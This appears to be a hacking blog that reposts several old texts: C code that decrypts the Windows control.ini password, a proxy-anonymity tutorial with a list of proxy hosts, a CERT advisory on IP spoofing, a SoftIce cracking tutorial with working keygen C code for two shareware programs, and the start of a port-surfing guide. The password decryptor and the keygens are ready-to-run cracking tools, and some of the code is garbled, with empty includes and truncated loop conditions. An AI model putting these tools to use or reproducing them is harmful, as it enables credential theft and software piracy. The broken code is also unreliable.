The second pass is very similar, only now, the starting point is the
last character in hash1 and the results are placed into hash2 from the
end to the beginning. Also, instead of using the previous character in
the final xoring, the character following the current character is used.
Since there is no character following the last character in hash1, the
value, 42 is again used for the last character.

'hash2' is the final string and this is what windows saves in the file
CONTROL.INI.

To 'decrypt' the password, the above procedure is just reversed.

Now, what you've all been waiting for. Here is some C code that will do
the dirty work for you:

#include
#include
#include

int xor1(int i,int j)
{
int x;

x=i^j;
return (x>126||x<33||x==91||x==93||x==61)?i:x;
}
void main()
{
FILE *f;
int i,l;
char s[80],s1[80];

printf("Please enter the path to your Windows directory\n");
gets(s1);
sprintf(s,"%s%scontrol.ini",s1,s1[strlen(s1)-1]=='\\'?"":"\\");
if((f=fopen(s,"rt"))==NULL){
printf("File Error : %s\n",sys_errlist[errno]);
exit(0);
}
while(strnicmp(fgets(s1,70,f),"password",8)!=0&&!feof(f));
fclose(f);
strtok(s1,"=\n");
strcpy(s,strtok(NULL,"\n"));
i=strlen(s)-1;
for(l=i;l>-1;l--)
s1[l]=xor1(xor1(xor1(s[l],l==i?42:s[l+1]),l==i?0:l),i+1);
for(l=0;l s[l]=xor1(xor1(xor1(s1[l],l?s1[l-1]:42),l?l:0),i+1);
printf("The Password is: %s\n",s);
}

Packet Hacking

2009-05-27T13:57:00.002-07:00

[----Stay anonymous on the web------]

Note..This tutorial will teach a average day user how to keep all his
Esentual info limited so attacks from Hackers cant be made

SHouth outs: Myth leader of MPD u rule dude,All members of MPD, and
everyone else who i should shout out too u know who u are.

The topics..
1.What are packets.
2.Getting a http proxy.
3.How http proxy work.
4.How to secrure http packets.
5.How to edit what o's and mozilla info send.
6.Getting a socket proxy.
7.How socket proxy work.
8.Cookies.
9.Final note.
-----------------------------------------------------------------------

1.What are packets.

Packets are very simple on the net There are millions of user's now for
secrurity and other reasons there must be ways of establishing difference
between user's Thus is done by packets, Packets are used when ever u connect
to a remote server/system Its identify's who is connecting.
An example of a http packet.( [Connect from MAx.mpd.com]
[206.14.13.32] (Mozilla/4.05 [en] (X11;I;Linux 2.0.34 i586) on December
2, 1998 at 14:34:45 )
Now ill tell u what it is saying if u dont know.
*Note*(Http packets is the way u are sending info through the web
browser whenever u connect to a server/mechine/site )
[connected from MAx.mpd.com]-This is my host
[206.14.13.32]- is my ip
(Mozilla/4.05)- is the version of mozilla im using
(X11;I;Linux 2.0.32 i586)- Is The O's(operating system) And version of
the o's im running
[On december 2, 1998 at 14:34:45] - is day/year/time
Now u know how it works this is one way Hackers get all the info they
need on your computer to hack it.
Now we dont want this anymore THus anonymous proxies where invented to
give keep user's on the net secrure.Using anonymous proxies isnt
100% secrure as the hacker can still do means on getting your real
ip/host/os ill talk about that later but it makes it very hard for a hacker
to get your ip/host once behind a proxy.
Now http isnt the only means of packets there are also socket packets which
ill talk about later.

2.How http proxy work.
A http proxy works like server it is actuelly and what it does is when
setup in your browser when ever u want to go to sites.It will connect
to there proxy server first then the proxy server conncts to the site
u want to go to THus leaving no evendence of u on the site just the
proxy server.(Dont worry once u setup a proxy dont think u always have
to type in the proxy in first then go to there and type the site u want
too go to. :)It dont work like that once u have entered the proxy settings
in ya browser it will auto do the proxy for u all u have to do is surf the
net.(Setting up a http proxy descussed later)

3. Getting a http proxy
Http proxies are very easyly found on the net as there are many
commited Http proxy server's around that are free.
Ill give a list of some http proxies for your all sorry if your
country proxy isn't here just search on the net for (Http proxy)
and ull find one.
***Austria*** Port

cache02.netway.at :80
mail.ppl.co.at :8080
speth08.wu-wien.ac.at :8080
pong.ping.at :8080

***Australia***
proxy.gwbbs.net.au :80
chrome.one.net.au :8080
proxy.newave.net.au :8080
ws.edi.com.au :80
mimas.scu.edu.au :80
proxy.omcs.com.au :8080
jethro.meriden.pas.com.au:8080
albany.jrc.net.au :80
basil.acr.net.au :8080

***Belgium***

cache-mar.belbone.be :80

***Bulgaria***

conan.gocis.bg :8080

***Brazil***

200.250.14.5)ct-nt-02.cybertelecom.com.br :8080
sanan.com.br :8080

***Canada***
proxy.collegemv.qc.ca :8080
srvprx.cspaysbleuets.qc.ca :80
valliere.csvalliere.qc.ca :80
keeper.albertc.on.ca :8080
cproxy1.justice.gc.ca :80
proxy.cslouis-hemon.qc.ca :8080
gateway.kwantlen.bc.ca :80

***Switzerland***

cache1.worldcom.ch :8080
cache2.worldcom.ch :8080
cache3.worldcom.ch :8080
web-cache-2.cern.ch :80
proxy.span.ch :8080
gip-lausanne-nc.globalip.ch :80
gip-lausanne-cf2.globalip.ch :8080
gip-lausanne-cf1.globalip.ch :8080
proxy2.iso.ch :8080
proxy.iprolink.ch :80

***China***

proxy.szptt.net.cn :8080

***United States***

hpux.mesd.k12.or.us :8080
gatekeeper.ci.slc.ut.us :8080
episd.elpaso.k12.tx.us :8080
svc.logan.k12.ut.us :8001
proxy.eup.k12.mi.us :8080
svc.nues.k12.ut.us :8001
proxy.eup.k12.mi.us :8080
(207.78.252.100)oakweb.oak-web.washington-ch.oh.us :80
homnibus.nvc.cc.ca.us :80
et.mohave.cc.az.us :80

(ok id say i gave out enough if ya local country not there go search
the net and if cant find use another country one that is close to u)

4.How to secrure Http packets
Like i said before this is a normal http packet
( [Connect from MAx.mpd.com]
[206.14.13.32] (Mozilla/4.05 [en] (X11;I;Linux 2.0.34 i586) on December
2, 1998 at 14:34:45 )
Now to Make your ip and host anonymous to web browsing we are going to
use http proxy with ya browser.THis is done by going to ya options
and finding the info on proxy settings in thus put in all
avalable places in proxy setting etc.ftp,http,secruity,
Except leave sockets part blank THis isnt a socket proxy its a http
Now after setting up a proxy in the proxy settings and putting in the
port too.Our new packets will look like this.
( [Connect from The_proxies_host]
[The_proxies_ip] (Mozilla/4.05 [en] (X11;I;Linux 2.0.34 i586) on December
2, 1998 at 14:34:45 )
Now u might be thinking cool :) No longer have everdence of me on there
server but dam they know my o's and version of mozilla later on ill
descuse how to change that.U might also be thinking WOW now i can surf
100% secure on the net.U are not totally right.IF a hacker had a real
grunge on u.He has now the proxy u are using there ip/host
now if he wants to get your info that badly he would have to hack
the proxy server comapare the log time of the time u loged to the hacker's
site too the logs of your connection to the proxy server.THus is a real
big job and if pick a good proxy server they will be very secure from
attack's So your pritty much safe.

5.How to edit the o's and mozilla info send.

Ok if your using Ie this is how u would do it.
To see Original Settings
GOTO HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings
User Agent = Mozilla/4.0 (compatible; MSIE 4.01; Windows 95; (Your Orginial Settings))

(Skip this Part here)
GOTO HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion
ProductName = Microsoft Windows 95
Version = Windows 95

GOTO HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\User Agent\Post Platform
(Your Orignial Settings Here) = IEAK(Your Orignial Settings Here)

Example

GOTO HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\User Agent\Post Platform
Myth [Unix-Base] = IEAKMyth [Unix-Base]

*Note (this info on how to change the mozilla and version shown was
given to me from Myth i didn't make it.)

6.Getting a socket proxy.

Ok now socket proxies work like Http proxies the only diff is
socket proxies are used with programs like (icq,mirc) And the packets
are send through sockets not http.Getting a socket proxy is alot harder
because Socket proxy server's have to be dedicated to a sertain program
so its very limiting to the amount of user's he will get.
Http is always used its using the web everyone uses it so http proxies
are always going to be in need.
TO find a socket proxy u can search the net typing in (Socket proxy)
or try for sertain program's names like (Icq proxy).
Hopefully u will get one
socket proxies are useful as alot of attacks on user's are done
by kids with nukes,spring,ping,smurf,etc etc And thus will anoy a user
in mirc or from icq both these programs give any user possability to
get a user's ip/host.
thats why if u use these u will want a socket proxy.
Alot of people go why dont u just use ident or jizz or something
for mirc and icq.Well the reason u don't as there are expolits out
there to crash spoofed hosts/ip for programs like jizz and ident
a proxy is more stable way and more prevention then a spoofer program.

Mengidentifikasi IP address

2009-05-27T13:57:00.001-07:00

Mengidentifikasi IP address

humm, dari tadi gw ngomongon hacking teruss...tapi ga ngasih tau caranya bagaimana dapatkan IP or gateway server
dari komputer tersebut dengan cara manual tapi ampuh bin dahsyat...hhehehe...
di sini gw bakal ngajarin kamu bagaimana caranya dapetin itu dengan sangad mudah dengan gaya yang keren lach(itu sich menurut gw)

sebelumnya, di sini kamu ga butuh program tambahan dalam melakukan hal ini, yang kamu butuhkan hanya kode-kode dalam DOS

caranya:
1. Kamu klik Start -> Run

2. Ketikan: CMD lalu Enter

3. Ketikan: IPCONFIG lalu Enter

4. Perhatika layar monitor, maka Kamu sudah dapat kan 2 point utama dalah hacking...yaitu IP address dan GATEWAY

5. simpan baik2 hal tersebut...

Pesan GW:
1. Jangan lebay dech or ketergantungan ma software or apalah yang kamu pake buat dapetin IP sendiri...
2. Ini baru awal pembelajaran yang sangat dasar buat gw tentunya...
3. Gw harap kamu bisa kembangkan kemampuan kamu di dalam hal ini
4. Kalo ada hal yang masih kurang dimengerti or ada masukan dari kamu,gw harap banget partisipasinya dalam pengembangan bersama...

nice have fun ^,..,^

IP spoofing Attacks and Hijacked Terminal Comunication

2009-05-27T13:56:00.000-07:00

=============================================================================
CA-95:01 CERT Advisory
May 12, 2009
IP Spoofing Attacks and Hijacked Terminal Connections
-----------------------------------------------------------------------------

The CERT Coordination Center has received reports of attacks in which
intruders create packets with spoofed source IP addresses. These attacks
exploit applications that use authentication based on IP addresses. This
exploitation leads to user and possibly root access on the targeted system.
Note that this attack does not involve source routing. Recommended solutions
are described in Section III below.

In the current attack pattern, intruders may dynamically modify the kernel of
a Sun 4.1.X system once root access is attained. In this attack, which is
separate from the IP spoofing attack, intruders use a tool to take control of
any open terminal or login session from users on the system. Note that
although the tool is currently being used primarily on SunOS 4.1.x systems,
the system features that make this attack possible are not unique to SunOS.

As we receive additional information relating to this advisory, we will place
it, along with any clarifications, in a CA-95:01.README file. CERT advisories
and their associated README files are available by anonymous FTP from
info.cert.org. We encourage you to check the README files regularly for
updates on advisories that relate to your site.

-----------------------------------------------------------------------------

I. Description

This description summarizes both the IP spoofing technique that can
lead to root access on a system and the tool that intruders are using to
take over open terminal and login connections after they get root access.
We are currently seeing attacks in which intruders combine IP spoofing
with use of the tool. However, these are two separate actions. Intruders
can use IP spoofing to gain root access for any purpose; similarly, they
can highjack terminal connections regardless of their method of gaining
root access.

IP spoofing
To gain access, intruders create packets with spoofed source IP
addresses. This exploits applications that use authentication based on
IP addresses and leads to unauthorized user and possibly root access
on the targeted system. It is possible to route packets through
filtering-router firewalls if they are not configured to filter
incoming packets whose source address is in the local domain. It
is important to note that the described attack is possible even if
no reply packets can reach the attacker.

Examples of configurations that are potentially vulnerable include
- routers to external networks that support multiple internal
interfaces
- routers with two interfaces that support subnetting on the
internal network
- proxy firewalls where the proxy applications use the source
IP address for authentication

The IP spoofing attacks we are currently seeing are similar to those
described in two papers: 1) "Security Problems in the TCP/IP Protocol
Suite" by Steve Bellovin, published in _Computer Communication Review_
vol. 19, no. 2 (April 1989) pages 32-48; 2) "A Weakness in the 4.2BSD
Unix TCP/IP Software" by Robert T. Morris. Both papers are available
by anonymous FTP from

ftp.research.att.com:/dist/internet_security

Bellovin paper: ipext.ps.Z
Morris paper: 117.ps.Z

Services that are vulnerable to the IP spoofing attack include
SunRPC & NFS
BSD UNIX "r" commands
anything wrapped by the tcp daemon wrappers - site dependent; check
your configuration
X windows
other applications that use source IP addresses for authentication

Hijacking tool
Once the intruders have root access on a system, they can use a tool
to dynamically modify the UNIX kernel. This modification allows them
to hijack existing terminal and login connections from any user on the
system.

In taking over the existing connections, intruders can bypass one-time
passwords and other strong authentication schemes by tapping the
connection after the authentication is complete. For example, a
legitimate user connects to a remote site through a login or terminal
session; the intruder hijacks the connection after the user has
completed the authentication to the remote location; the remote site
is now compromised. (See Section I for examples of vulnerable
configurations.)

Currently, the tool is used primarily on SunOS 4.1.x systems. However,
the system features that make this attack possible are not unique to
SunOS.

II. Impact

Current intruder activity in spoofing source IP addresses can lead to
unauthorized remote root access to systems behind a filtering-router
firewall.

After gaining root access and taking over existing terminal and login
connections, intruders can gain access to remote hosts.

III. Solutions

A. Detection

IP spoofing
If you monitor packets using network-monitoring software such as
netlog, look for a packet on your external interface that has
both its source and destination IP addresses in your local domain.
If you find one, you are currently under attack. Netlog is
available by anonymous FTP from
net.tamu.edu:/pub/security/TAMU/netlog-1.2.tar.gz
MD5 checksum: 1dd62e7e96192456e8c75047c38e994b

Another way to detect IP spoofing is to compare the process
accounting logs between systems on your internal network. If
the IP spoofing attack has succeeded on one of your systems,
you may get a log entry on the victim machine showing a remote
access; on the apparent source machine, there will be no
corresponding entry for initiating that remote access.

Hijacking tool
When the intruder attaches to an existing terminal or login
connection, users may detect unusual activity, such as commands
appearing on their terminal that they did not type or a blank window
that will no longer respond to their commands. Encourage your users
to inform you of any such activity. In addition, pay particular
attention to connections that have been idle for a long time.

Once the attack is completed, it is difficult to detect. However,
the intruders may leave remnants of their tools. For example, you
may find a kernel streams module designed to tap into existing TCP
connections.

B. Prevention

IP spoofing
The best method of preventing the IP spoofing problem is to install
a filtering router that restricts the input to your external
interface (known as an input filter) by not allowing a packet
through if it has a source address from your internal network. In
addition, you should filter outgoing packets that have a source
address different from your internal network in order to prevent
a source IP spoofing attack originating from your site.

The following vendors have reported support for this feature:
Bay Networks/Wellfleet routers, version 5 and later
Cabletron - LAN Secure
Cisco - RIS software all releases of version 9.21 and later
Livingston - all versions

If you need more information about your router or about firewalls,
please contact your vendor directly.

If your vendor's router does not support filtering on the inbound
side of the interface or if there will be a delay in incorporating
the feature into your system, you may filter the spoofed IP packets
by using a second router between your external interface and your
outside connection. Configure this router to block, on the outgoing
interface connected to your original router, all packets that have a
source address in your internal network. For this purpose, you can
use a filtering router or a UNIX system with two interfaces that
supports packet filtering.

NOTE: Disabling source routing at the router does not protect you
from this attack, but it is still good security practice to
do so.

Hijacking tool
There is no specific way to prevent use of the tool other than
preventing intruders from gaining root access in the first place.
If you have experienced a root compromise, see Section C for general
instructions on how to recover.

C. Recovery from a UNIX root compromise

1. Disconnect from the network or operate the system in
single-user mode during the recovery. This will keep users
and intruders from accessing the system.

2. Verify system binaries and configuration files against the
vendor's media (do not rely on timestamp information to
provide an indication of modification). Do not trust any
verification tool such as cmp(1) located on the compromised
system as it, too, may have been modified by the intruder.
In addition, do not trust the results of the standard UNIX
sum(1) program as we have seen intruders modify system
files in such a way that the checksums remain the same.
Replace any modified files from the vendor's media, not
from backups.
-- or --

Reload your system from the vendor's media.

3. Search the system for new or modified setuid root files.

find / -user root -perm -4000 -print

If you are using NFS or AFS file systems, use ncheck to
search the local file systems.

ncheck -s /dev/sd0a

4. Change the password on all accounts.

5. Don't trust your backups for reloading any file used by
root. You do not want to re-introduce files altered by an
intruder.

---------------------------------------------------------------------------
The CERT Coordination Center thanks Eric Allman, Steve Bellovin, Keith Bostic,
Bill Cheswick, Mike Karels, and Tsutomu Shimomura for contributing to our
understanding of these problems and their solutions.
---------------------------------------------------------------------------

If you believe that your system has been compromised, contact the CERT
Coordination Center or your representative in Forum of Incident
Response and Security Teams (FIRST).

If you wish to send sensitive incident or vulnerability information to
CERT staff by electronic mail, we strongly advise that the e-mail be
encrypted. The CERT Coordination Center can support a shared DES key, PGP
(public key available via anonymous FTP on info.cert.org), or PEM (contact
CERT staff for details).

Internet E-mail: cert@cert.org
Telephone: +1 412-268-7090 (24-hour hotline)
CERT personnel answer 8:30 a.m.-5:00 p.m. EST(GMT-5)/EDT(GMT-4),
and are on call for emergencies during other hours.
Fax: +1 412-268-6989

CERT Coordination Center
Software Engineering Institute
Carnegie Mellon University
Pittsburgh, PA 15213-3890
USA

Past advisories, CERT bulletins, information about FIRST representatives,
and other information related to computer security are available for anonymous
FTP from info.cert.org.

CERT is a service mark of Carnegie Mellon University.

How to make key generator

2009-05-27T13:55:00.002-07:00

raZZia's Tutorial on Key Generators

Tools!
For tools you need a minimum of debugger like SoftIce for Windows (hence WinIce), and a C compiler with Dos libraries.

Content!
In this tutorial I will show how to make a key-gen for Ize and Swiftsearch. The protection that these programs use is the well known Enter-Name-and-Registration-Number method. After selecting 'register', a window pops up where you can enter your name and your registration number. The strategy here is to find out where in memory the data you enter is stored and then to find out what is done with it. Before you go on make sure you configure the SoftIce dat file according to the PWD tutorial #1.

Part 1: Scanline Swiftsearch 2.0!

Swiftsearch is a useful little program that you can use to search on the web. I will explain step by step how to crack it.

step 1. Start the program :)

step 2: Choose register from the menus. You will now get a window where you can enter your name and your registration number.

step 3: Enter SoftIce (ctrl-d)

step 4: We will now set a breakpoint on functions like GetWindowText(a) and GetDlgItemText(a) to find out where in memory the data that we just entered is stored. The function that is used by this program is GetDlgItemTexta (trial and error, just try yourself :) so, in SoftIce type BPX GetDlgItemTexta and exit SoftIce with the g command.

step 5: Now type a name and a registration number (I used razzia and 12345) and press OK, this will put you back in SoftIce. Since you are now inside the GetDlgItemTexta function press F11 to get out of it. You should see the following code:

lea eax, [ebp-2C] :<--- we are looking for this location
push eax
push 00000404
push [ebp+08]
call [USER32!GetDlgItemTextA]
mov edi, eax :<--- eax has the length of the string
and is stored in edi for later usage.

We see that EAX is loaded with a memory address and then pushed to the stack as a parameter for the function GetDlgItemTextA. Since the function GetDlgItemTextA is already been run we can look at EBP-2c (with ED EDP-2c) and see that the name we entered is there. Now we know where the name is stored in memory, normally it would be wise to write that address down, but we will see that in this case it wont be necessary.

So, what next? Now we have to allow the program to read the registration number we entered. Just type g and return and when back in SoftIce press F11. You should see the following code:

push 0000000B
lea ecx, [ebp-18] : <--So, ebp-18 is where the reg. number
push ecx : is stored.
push 0000042A
push [ebp+08]
call [USER32!GetDlgItemTextA]
mov ebx, eax : <--save the lenght of string in EBX
test edi, edi : <--remember EDI had the lenght of the
jne 00402FBF : name we entered?

We see that the registration number is stored at location EBP-18 , check it with ED EBP-18. Again, normally it would be wise to note that address down. Also we see that it is checked if the length of the name we gave was not zero. If it is not zero the program will continue.

Step 6: Ok, now we know where the data we entered is stored in memory. What next?
Now we have to find out what is DONE with it. Usually it would we wise to put breakpoints on those memory locations and find out where in the program they are read. But in this case the answer is just a few F10's away. Press F10 until you see the following code :

cmp ebx, 0000000A :<--remember EPX had the length of the
je 00402FDE : registration code we entered?

These two lines are important. They check if the length of the registration code we entered is equal to 10. If not the registration number will be considered wrong already. The program wont even bother to check it. Modify EBX or the FLAG register in the register window to allow the jump. Continue Pressing F10 until you get to the following code (note that the adresses you will see could be different) :

:00402FDE xor esi, esi :<-- Clear ESI
:00402FE0 xor eax, eax :<-- Clear EAX
:00402FE2 test edi, edi
:00402FE4 jle 00402FF2
:00402FE6 movsx byte ptr ecx, [ebp + eax - 2C] :<-- ECX is loaded with a letter of the name we entered.
:00402FEB add esi, ecx :<-- Add the letter to ESI
:00402FED inc eax :<-- Increment EAX to get next letter
:00402FEE cmp eax, edi :<-- Did we reach the end of the string?
:00402FF0 jl 00402FE6 :<-- If not, go get the next letter.

Well, we see that the program adds together all the letters of the name we entered. Knowing that ESI contains the sum of the letters, lets continue and find out what the program does with that value :

:00402FF2 push 0000000A
:00402FF4 lea eax, [ebp-18] :<-- Load EAX with the address of the reg. number we entered
:00402FF7 push 00000000
:00402FF9 push eax :<-- Push EAX (as a parameter for the following function)
:00402FFA call 00403870 :<-- Well, what do you think this function does? :)
:00402FFF add esp, 0000000C
:00403002 cmp eax, esi :<-- Hey!
:00403004 je 00403020

We see that a function is called and when RETurned ESI is compared with EAX. Hmm, lets look at what's in EAX. A '? EAX' reveals :

00003039 0000012345 "09"

Bingo. That's what we entered as the registration number. It should have been what's inside ESI. And we know what's inside ESI, the sum of the letters of the name we entered!

Step 7: Now we know how the program computes the registration code we can make a key-gen.
But we should not forget that the program checks also that the registration number has 10
digits.
A simple C code that will compute the registration number for this program could look like this:

#include
#include
main()
{
char Name[100];
int NameLength,Offset;
long int Reg = 0, Dummy2 = 10;
int Dummy = 0;
int LengtDummy = 1;
int Lengt , Teller;
printf("Scanline SwiftSearch 2.0 crack by raZZia.\n");
printf("Enter your name: ");
gets(Name);
NameLength=strlen(Name);

/* the for lus calculates the sum of the letters in Name */
/* and places that value in Reg */
for (Offset=0;Offset {
Reg=Reg+Name[Offset];
}
/* the while lus calculates the lenght of the figure in */
/* Reg and places it in Lengt */
while (Dummy != 1)
{
if ( Reg < Dummy2 )
{ Lengt = LengtDummy ; Dummy =1;
}
else
{ LengtDummy=LengtDummy + 1; Dummy2=Dummy2*10;
}
};
printf("\nYour registration number is : " );
/* First print 10-Lengt times a 0 */
Lengt=10-Lengt;
for (Teller=1;Teller<=Lengt;Teller=Teller+1) printf("0");
/* Then print the registration number */
printf("%lu\n",Reg);
}

Case 2 Ize 2.04 from Gadgetware

Ize from Gadgetware is a cute little program that will put a pair of eyes on your screen which will
follow your mousepointer. It has a register function where you can enter your name and a registration
number. The strategy in this case is still the same : Find out where in memory the entered information
is stored and then find out what is done with that information.

Step 1: Start Ize. Chose register and enter a name and a number. I used 'razzia' and '12345'.

Sterp 2: Enter (CTRL-D) Softice and set a breakpoint on GetDlgItemTextA.

Step 3: Leave SoftIce and press OK. This will put you back in Softice. You will be inside the GetDlgItemTextA
function. To get out of it press F11. You should see the following code :

mov esi, [esp + 0C]
push 00000064
push 0040C3A0 :<--On this memory location the NAME we entered will be stored.
mov edi, [USER32!GetDlgItemTextA] :<--Load edi with adress of GetDlgItemTextA
push 00004EE9
push esi
call edi :<-- Call GetDlgItemTextA
push 00000064 :<-- (you should be here now)
push 0040C210 :<--On this memory location the NUMBER we entered will be stored
push 00004EEA
push esi
call edi :<-- Call GetDlgItemTextA

We see that the function GetDlgItemTextA is called twice in this code fragment. The first call has
already happened. With ED 40C3A0 we can check that the name we entered is stored on that location.
To allow the program to read in the number we entered we type G and enter. Now we are inside the Get-
DlgItemTextA function again and we press f11 to get out of it. We check memory location 40C210 and
we see the number we entered is stored there.
Now we know the locations were the name and the number are stored,we note those down!

Step 4: Ok, what next? We now know where in memory the name and the number are stored. We need to find out
what the program does with those values. In order to do that we could set breakpoints on those memory
locations to see where they are read. But in this case it wont be necessary. The answer is right after the
above code :

push 0040C210 :<--save the location of the number we entered (as a parameter for the next call)
call 00404490 :<-- call this unknown function
add esp, 00000004
mov edi, eax :<-- save EAX (hmmmm)

We see a function being called with the number-location as a parameter. We could trace into the function and see what it does, but that is not needed. With your experience of the Swiftsearch
example you should be able to guess what this function does. It calculates the numerical value of the registration number and puts it in EAX. To be sure we step further using F10 untill we are past the call and check the contents of EAX (with ? EAX). In my case it showed : 00003039 0000012345 "09".

Knowing that EDI contains our registration number we proceed:

push 0040C3A0 :<-- save the location of the name we entered (as a parameter for the next call)
push 00409080 :<-- save an unknown memory-location (as a parameter for the next call)
call 004043B0 :<--call to an unknown function
add esp, 00000008
cmp edi, eax :<--compare EDI (reg # we entered) with EAX (unknown, since the previous call changed it)
jne 004018A1 :<--jump if not equal

We see that a function is called with two parameters. One of the parameters is the location of the name
we entered. The other we dont know, but we can find out with ED 409080. We see the text 'Ize'.
This function calculates the right registration number using those two parameters. If you just want to
crack this program, you can place a breakpoint right after the call and check the contents of EAX. It will
contain the right registration number. But since we want to know HOW the reg. # is calculated we will trace inside the function (using T). We will then try to find out HOW the contents of EAX got in there.

Step 5: Once inside the interesting function you will see that we are dealing with a rather long function. It wont be necessary for me to include the complete listing of this function, because we wont need all of it to make our key-gen.
But in order find out which part of the code is essential for the computation of the right registration number, you have to trace STEP by STEP and figure out what EXACTLY is going on!

Afther doing this i found out that the first part of the function computes some kind of "key". Then this
"key" is stored in memory and in that way passed on to the second part of the function.
The second part of the function then computes the right registration number, based on this "key" AND
the name we entered.

The code that is essential and that we need for our key-gen is the following:

( Note that before the following code starts, the registers that are used will have the following values:
EBX will point to the first letter of the name we entered,
EDX will be zero,
EBP will be zero,
The "key" that we talked about earlier is stored in memory location 0040B828 and will
have 0xA4CC as its initial value. )

:00404425 movsx byte ptr edi, [ebx + edx] :<-- Put first letter of the name in EDI
:00404429 lea esi, [edx+01] :<-- ESI gets the "letter-number"
:0040442C call 00404470 :<-- Call function
:00404431 imul edi, eax :<-- EDI=EDI*EAX (eax is the return value of the the previous call)
:00404434 call 00404470 :<-- Call function
:00404439 mov edx, esi
:0040443B mov ecx, FFFFFFFF
:00404440 imul edi, eax :<-- EDI=EDI*EAX (eax is the return value of the previous call)
:00404443 imul edi, esi :<-- EDI=EDI*ESI ( esi is the number of the letter position)
:00404446 add ebp, edi :<-- EBP=EBP+EDI (beware that EBP will finally contain the right reg#)
:00404448 mov edi, ebx :<--these lines compute the lenght of the name we entered
:0040444A sub eax, eax :<--these lines compute the lenght of the name we entered
:0040444C repnz :<--these lines compute the lenght of the name we entered
:0040444D scasb :<--these lines compute the lenght of the name we entered
:0040444E not ecx :<--these lines compute the lenght of the name we entered
:00404450 dec ecx :<-- ECX now contains the lenght of the name
:00404451 cmp ecx, esi
:00404453 ja 00404425 :<-- If its not the end of the name , go do the same with the next letter
:00404455 mov eax, ebp :<-- SAVE EBP TO EAX !!!!
:00404457 pop ebp
:00404458 pop edi
:00404459 pop esi
:0040445A pop ebx
:0040445B ret
_____

:00404470 mov eax, [0040B828] :<-- Put "key" in EAX
:00404475 mul eax, eax, 015A4E35 :<-- EAX=EAX * 15A4E35
:0040447B inc eax :<-- EAX=EAX + 1
:0040447C mov [0040B828], eax :<-- Replace the "key" with the new value of EAX
:00404481 and eax, 7FFF0000 :<-- EAX=EAX && 7FFF0000
:00404486 shr eax, 10 :<-- EAX=EAX >>10
:00404489 ret

The above code consists of a loop that goes trough all the letters of the name we entered. With each
letter some value is calculated, all these values are added up together (in EBP). Then this value is stored
in EAX and the function RETurns. And that was what we were looking for, we wanted to know how EAX got its value!

Step 6: Now to make a key-gen we have to translate the above method of calculating the right reg# into a
c program. It could be done in the following way :
(Note : I am a bad c programmer :)

#include
#include
main()
{
char Name[100];
int NameLength,Offset;
unsigned long Letter,DummyA;
unsigned long Key = 0xa4cc;
unsigned long Number = 0;
printf("Ize 2.04 crack by razzia\n");
printf("Enter your name: ");
gets(Name);
NameLength=strlen(Name);
for (Offset=0;Offset {
Letter=Name[Offset];
DummyA=Key;
DummyA=DummyA*0x15a4e35;
DummyA=DummyA+1;
Key=DummyA;
DummyA=DummyA & 0x7fff0000;
DummyA=DummyA >> 0x10;
Letter=Letter*DummyA;
DummyA=Key;
DummyA=DummyA*0x15a4e35;
DummyA=DummyA+1;
Key=DummyA;
DummyA=DummyA & 0x7fff0000;
DummyA=DummyA >> 0x10;
Letter=Letter*DummyA;
Letter=Letter*(Offset+1);
Number=Number+Letter;
}
printf("\nYour registration number is : %lu\n",Number);
}

Final Notes

For feedback and suggestions pls contact me :)

raZZia

hacking harmless chapter 4

2009-05-27T13:55:00.001-07:00

GUIDE TO (mostly) HARMLESS HACKING
Vol. 2 Number 4
More intro to TCP/IP: port surfing! Daemons! How to get on almost any computer without logging in and without breaking the law. Impress your clueless friends and actually discover kewl, legal, safe stuph.
____________________________________________________________
A few days ago I had a lady friend visiting. She’s 42 and doesn’t own a computer. However, she is taking a class on personal computers at a community college. She wanted to know what all this hacking stuph is about. So I decided to introduce her to port surfing. And while doing it, we stumbled across something kewl.
Port surfing takes advantage of the structure of TCP/IP. This is the protocol (set of rules) used for computers to talk to each other over the Internet. One of the basic principles of Unix (the most popular operating system on the Internet) is to assign a “port” to every function that one computer might command another to perform. Common examples are to send and receive email, read Usenet newsgroups, telnet, transfer files, and offer Web pages.
************************
Newbie note #1: A computer port is a place where information goes in or out of it. On your home computer, examples of ports are your monitor, which sends information out, your keyboard and mouse, which send information in, and your modem, which sends information both out and in.
But an Internet host computer such as callisto.unm.edu has many more ports than a typical home computer. These ports are identified by numbers. Now these are not all physical ports, like a keyboard or RS232 serial port (for your modem). They are virtual (software) ports.
A “service” is a program running on a “port.” When you telnet to a port, that program is up and running, just waiting for your input. Happy hacking!
************************
So if you want to read a Web page, your browser contacts port number 80 and tells the computer that manages that Web site to let you in. And, sure enough, you get into that Web server computer without a password.
OK, big deal. That’s pretty standard for the Internet. Many -- most -- computers on the Internet will let you do some things with them without needing a password,
However, the essence of hacking is doing things that aren’t obvious. That don’t just jump out at you from the manuals. One way you can move a step up from the run of the mill computer user is to learn how to port surf.
The essence of port surfing is to pick out a target computer and explore it to see what ports are open and what you can do with them.
Now if you are a lazy hacker you can use canned hacker tools such as Satan or Netcat. These are programs you can run from Linux, FreeBSD or Solaris (all types of Unix) from your PC. They automatically scan your target computers. They will tell you what ports are in use. They will also probe these ports for presence of daemons with know security flaws, and tell you what they are.
********************************
Newbie note # 2: A daemon is not some sort of grinch or gremlin or 666 guy. It is a program that runs in the background on many (but not all) Unix system ports. It waits for you to come along and use it. If you find a daemon on a port, it’s probably hackable. Some hacker tools will tell you what the hackable features are of the daemons they detect.
********************************
However, there are several reasons to surf ports by hand instead of automatically.
1) You will learn something. Probing manually you get a gut feel for how the daemon running on that port behaves. It’s the difference between watching an x-rated movie and (blush).
2) You can impress your friends. If you run a canned hacker tool like Satan your friends will look at you and say, “Big deal. I can run programs, too.” They will immediately catch on to the dirty little secret of the hacker world. Most hacking exploits are just lamerz running programs they picked up from some BBS or ftp site. But if you enter commands keystroke by keystroke they will see you using your brain. And you can help them play with daemons, too, and give them a giant rush.
3) The truly elite hackers surf ports and play with daemons by hand because it is the only way to discover something new. There are only a few hundred hackers -- at most -- who discover new stuph. The rest just run canned exploits over and over and over again. Boring. But I am teaching you how to reach the pinnacle of hackerdom.
Now let me tell you what my middle aged friend and I discovered just messing around. First, we decided we didn’t want to waste our time messing with some minor little host computer. Hey, let’s go for the big time!
